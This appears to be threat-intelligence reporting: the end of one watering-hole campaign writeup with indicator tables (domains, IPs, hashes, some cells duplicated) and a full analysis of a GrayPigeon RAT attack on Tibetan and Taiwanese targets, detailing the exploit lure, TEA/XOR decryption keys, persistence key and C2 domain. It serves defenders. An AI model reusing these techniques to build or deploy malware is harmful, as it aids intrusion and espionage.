wmi.ns01[.]us wmi.ns01[.]us 2014-02-17 2014-02-17 2014-02-17 2014-02-17 192.74.246.219 192.74.246.219
proxy.ddns[.]info proxy.ddns[.]info 2013-05-02 2013-05-02 2014-02-18 2014-02-18 103.246.246.103 103.246.246.103
updatedns.ns02[.]us updatedns.ns02[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
updatedns.ns01[.]us updatedns.ns01[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
wmi.ns01[.]us wmi.ns01[.]us 2013-07-04 2013-07-04 2013-07-15 2013-07-15 103.246.246.103 103.246.246.103

 

MD5 Family Compile Time Alternate C2s
7995a9a6a889b914e208eb924e459ebc 7995a9a6a889b914e208eb924e459ebc PlugX PlugX 2012-06-09 2012-06-09 fuckchina.govnb[.]com fuckchina.govnb[.]com
bf60b8d26bc0c94dda2e3471de6ec977 bf60b8d26bc0c94dda2e3471de6ec977 PlugX PlugX 2010-03-15 2010-03-15 microsafes.no-ip[.]org microsafes.no-ip[.]org
fd69793bd63c44bbb22f9c4d46873252 fd69793bd63c44bbb22f9c4d46873252 Poison Ivy Poison Ivy 2013-03-07 2013-03-07 N/A N/A
88b375e3b5c50a3e6c881bc96c926928 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A
cd07a9e49b1f909e1bd9e39a7a6e56b4 cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A

The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties:

Domain First Seen Last Seen IP Address
fuckchina.govnb[.]com fuckchina.govnb[.]com 2013-12-11 2013-12-11 2013-12-11 2013-12-11 204.200.222.136 204.200.222.136
microsafes.no-ip[.]org microsafes.no-ip[.]org 2014-02-12 2014-02-12 2014-02-12 2014-02-12 74.126.177.70 74.126.177.70
microsafes.no-ip[.]org microsafes.no-ip[.]org 2013-12-04 2013-12-04 2013-12-04 2013-12-04 74.126.177.241 74.126.177.241

We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org — also an organization involved in defense matters — were redirected to an exploit server at 159.54.62.92.

This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.]us.

Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to 76.73.80.188 in mid-2012.

Domain First Seen Last Seen IP Address
wmi.ns01.us wmi.ns01.us 2012-07-07 2012-07-07 2012-09-19 2012-09-19 76.73.80.188 76.73.80.188
windows.ddns.us windows.ddns.us 2012-05-23 2012-05-23 2012-06-10 2012-06-10 76.73.80.188 76.73.80.188

During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP 194.183.224.75.

Domain First Seen Last Seen IP Address
wmi.ns01[.]us wmi.ns01[.]us 2012-07-03 2012-07-03 2012-07-04 2012-07-04 194.183.224.75 194.183.224.75
ids.ns01[.]us ids.ns01[.]us 2012-04-23 2012-04-23 2012-05-18 2012-05-18 194.183.224.75 194.183.224.75

The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be.

In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013.

greedywonk-campaign-v2

Conclusion

This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.

This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.

New Targeted Attack On Taiwanese Government & Tibetan Activists Open Up a Can Of Worms – GrayPigeon, Hangame & Shiqiang gang

We observed new targeted attacks targeting various personnel with pro-Tibetan views.  The targets? We’ve seen targets at various branches of the Taiwanese government as well as a professor at the Central University Of Tibetan Studies in India.

Taiwan is a logical target since they have a history of accepting Tibetan refugees. Also, the other target is a professor at the Central University Of Tibetan Studies in India—a institution founded by the first Prime Minister of India with the Dalai Lama himself. It was established in 1967 to educate exiled Tibetans and to preserve Tibetan culture and history.

The attackers, called the "Shiqiang gang", show a consistent modus operandi. They use similar remote administration tool (RAT) payloads, stolen certificates, and seem to target anyone pro-Tibetan. The RAT payload in this attack in called "GrayPigeon," also known as "Huigezi" in Chinese[2]. It is very popular in the Chinese webspace which indicates that the attackers speak the language. The RAT payload has multiple layers of encryption making it harder to identify.

Attack Vector:

The threat arrives in the form of a targeted email with an XLS attachment. The content  of the emails are as shown below in Figure 1 and Figure 2. The email attempts to draw on the sentiments of the Taiwanese government and activists towards the exiled members of the Tibetan government.

[caption id="attachment_1707" align="alignnone" width="584"] Figure 1[/caption]

 

[caption id="attachment_1708" align="alignnone" width="590"] Figure 2[/caption]

The content of both the emails are similar and roughly translate to:

 

To friends who care about the Tibetan government-in-exile

Now we publish this for you <<Tibetan government-in-exile offices in the Americas 2013 for the second half the year with detail list requesting for comments>>

Do not distribute this letter and this is only for friends who care about this

Also hope that you can actively participate in our activities in the second half of the year

                   Office of the Tibetan government-in-exile in the Americas

                    Chinese chief liaison officer Gongga Tashi kungatashi

 

Technical Analysis: How the Attack Works

The attached file in both emails is the same (2010790755b4aca0edc3c50ee8480c0b) When opened, the XLS file exploits CVE-2012-0158 and launches a decoy document as shown in Figure 3. The decoy document contains a ruse as usual and this time it states that Tibetan fonts are missing. In the background, it drops a series of files eventually leading to the launch and execution of 2013soft.dll. This in turn injects a RAT payload in to explorer.exe.

[caption id="attachment_1703" align="alignnone" width="629"] Figure 3[/caption]

Analysis of Payload:

The main functionality lies within 2013soft.dll (28426ddc3c49635c11a2ee72118e9814) and the subsequent DLL it decrypts and injects in to explorer.exe (05eda4aaa49b2409f52cf2356f4a91db).

On inspection of 2013soft.dll, it is evident that this payload contains a rather large resource section. The MAIN stub in resource section holds large amount of data however it appears to be encrypted.

[caption id="attachment_1710" align="alignnone" width="648"] Figure 4[/caption]

On dynamic analysis of the payload, it becomes clear that the Main stub eventually decrypts to the final DLL payload. The stub is loaded into memory and decrypted using the loop shown in Figure 5. It operates on 8 bytes of data at a time and uses the 16 bytes key "1234567890ABCDEF". This, in addition to that fact that it uses the constant value 0x9E3779B9, gives away the algorithm as TEA (Tiny encryption algorithm). The TEA algorithm uses this value as the Delta constant.

[caption id="attachment_1711" align="alignnone" width="427"] Figure 5[/caption]

It then jumps to the decrypted stub after setting the memory region it resides in as executable. The start of this decrypted MAIN stub contains an XOR decryption loop shown in Figure 6. This decryption loop decrypts the remainder of the stub. Notice how the XOR key "0x27691C" is only 3 bytes in length but the EAX pointer is incremented by 4. This means the first byte in every 4 bytes (little endian) is not subjected to XOR.

[caption id="attachment_1713" align="alignnone" width="421"] Figure 6[/caption]

You would think we have the payload after two levels of decryption but not in this case. It jumps to another shellcode, which performs a rolling byte XOR decryption using a 4 byte key on the latter part of the stub.

[caption id="attachment_1714" align="alignnone" width="465"] Figure 7[/caption]

Now we are getting somewhere as we can see an MZ file header interspersed with other characters past the "MinxxxA" marker as shown in Figure 8. This data is then subjected to what appears to be a custom decompression algorithm, following which it is injected into a new instance of explorer.exe

[caption id="attachment_1709" align="alignnone" width="567"] Figure 8[/caption]

The injected DLL payload is a variant of the RAT called "GrayPigeon"[2] also known as "Huigezi" which is popular in the Chinese web space. It is written in Delphi and contains comprehensive functionality. The RAT uses various Pascal modules [3] such as "TscreenCaptureUnit.pas" and "UnitServices.pas" also widely seen on Chinese forums and associated with this RAT.

It creates a mutex "\BaseNamedObjects\windows!@#$" and sets up startup persistence by adding a registry key "\Software\ts\Explorer\run\2013Soft\run = rundll32.exe C:\WINDOWS\2013soft.dll,Player". In this case the RAT was observed key logging and storing the data under C:\WINDOWS\2013soft.log along with the corresponding Window names.

It then uses the same TEA (Tiny Encryption algorithm) described earlier to decrypt the address of the command and control server "help.2012hi.hk". It reuses the key "1234567890ABCDEF" for TEA decryption. It makes a DNS query specifically to Google’s DNS server 8.8.8.8 and it attempts to connect to the resolved server on port 91.

[caption id="attachment_1706" align="alignnone" width="720"] Figure 9[/caption]

We observed the following outbound communication on port 91.

[caption id="attachment_1712" align="alignnone" width="576"] Figure 10[/caption]

This GrayPigeon RAT instance we analyzed had extensive functionality and a summary of the features is listed below:

  • Determine Host name and OS version
  • Ability to log keystrokes and mouse events
  • Ability to capture users screen
  • Ability to use Telnet protocol
  • Ability to send and receive files
  • Sniff URL addresses from Internet Explorer and read form values
  • Get list of active services
  • Ability to shutdown/restart etc.

Connection to Shiqiang Gang:

We mined for other samples talking to the same C&C infrastructure and we found two with the md5sums 4e454584403d5521abea98d21ee26f72 and 7de5485b7dd154a9bbd85e7d5fcdbdec which drop Hangame RAT and GrayPigeon RAT respectively. The RAT payloads in these instances also phone home to help.2012hi.hk. This C&C domain was also referenced in a white paper published by Symantec as part of the overall campaign coined the Elderwood project [4]. The campaign in the current instance and related samples are more in line with Tibetan themed attacks on NGOs and Taiwanese officials. The campaign also heavily uses stolen certificates. These have been attributed with the Shiqiang gang as discussed by Snorre Fagerland from Norman[1] and also discussed by Trend [5] and AlienVault [6].

[caption id="attachment_1705" align="alignnone" width="582"] Figure 11[/caption]

The decoy document associated with 7de5485b7dd154a9bbd85e7d5fcdbdec also has a Taiwanese target as evident from the contents of the document.

[caption id="attachment_1704" align="alignnone" width="791"] Figure 12[/caption]

Also, both these two variants interestingly have digital certificates in the payload [1]. The certificate for 4e454584403d5521abea98d21ee26f72 is a stolen certificate that has already been revoked.

 

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            38:93:f1:3d:d3:9f:e0:88:fd:f5:4e:e0:08:ae:38:e1

        Signature Algorithm: sha1WithRSAEncryption

        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA

        Validity

            Not Before: Dec  8 00:00:00 2011 GMT

            Not After : Dec  7 23:59:59 2012 GMT

        Subject: C=CN, ST=Guangdong, L=Shenzhen, O=Shenzhen Xuri Weiye Technology Co., Ltd., OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=Shenzhen Xuri Weiye Technology Co., Ltd.

 

The certificate for 7de5485b7dd154a9bbd85e7d5fcdbdec appears to be modified manually and is invalid.

 

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            02:fe:4b:0a:55:23:56:65

        Signature Algorithm: sha1WithRSAEncryption

        Issuer: C=CN, ST=Beijing, L=Beijing, O=CA365, CN=CA365 Free Root Certificate

        Validity

            Not Before: Oct 23 10:47:29 2010 GMT

            Not After : Oct 23 10:47:29 2011 GMT

        Subject: C=CN, ST=shanghai, L=shanghai, O=International Test User, OU=Market, CN=International Test User

 

 Hashes of Analyzed Samples:

References:

[2] http://baike.baidu.com/view/25407.htm

[3] http://en.verysource.com/classicgraypigeoncon-191546.html

[4] http://www.symantec.com/connect/blogs/elderwood-project

[5] http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2012-0158-now-being-used-in-more-tibetan-themed-targeted-attack-campaigns/

[6] http://labs.alienvault.com/labs/index.php/2012/cve-2012-0158-tibet-targeted-attacks-and-so-on/

I would like to thank Darien Kindlund for his assistance in research.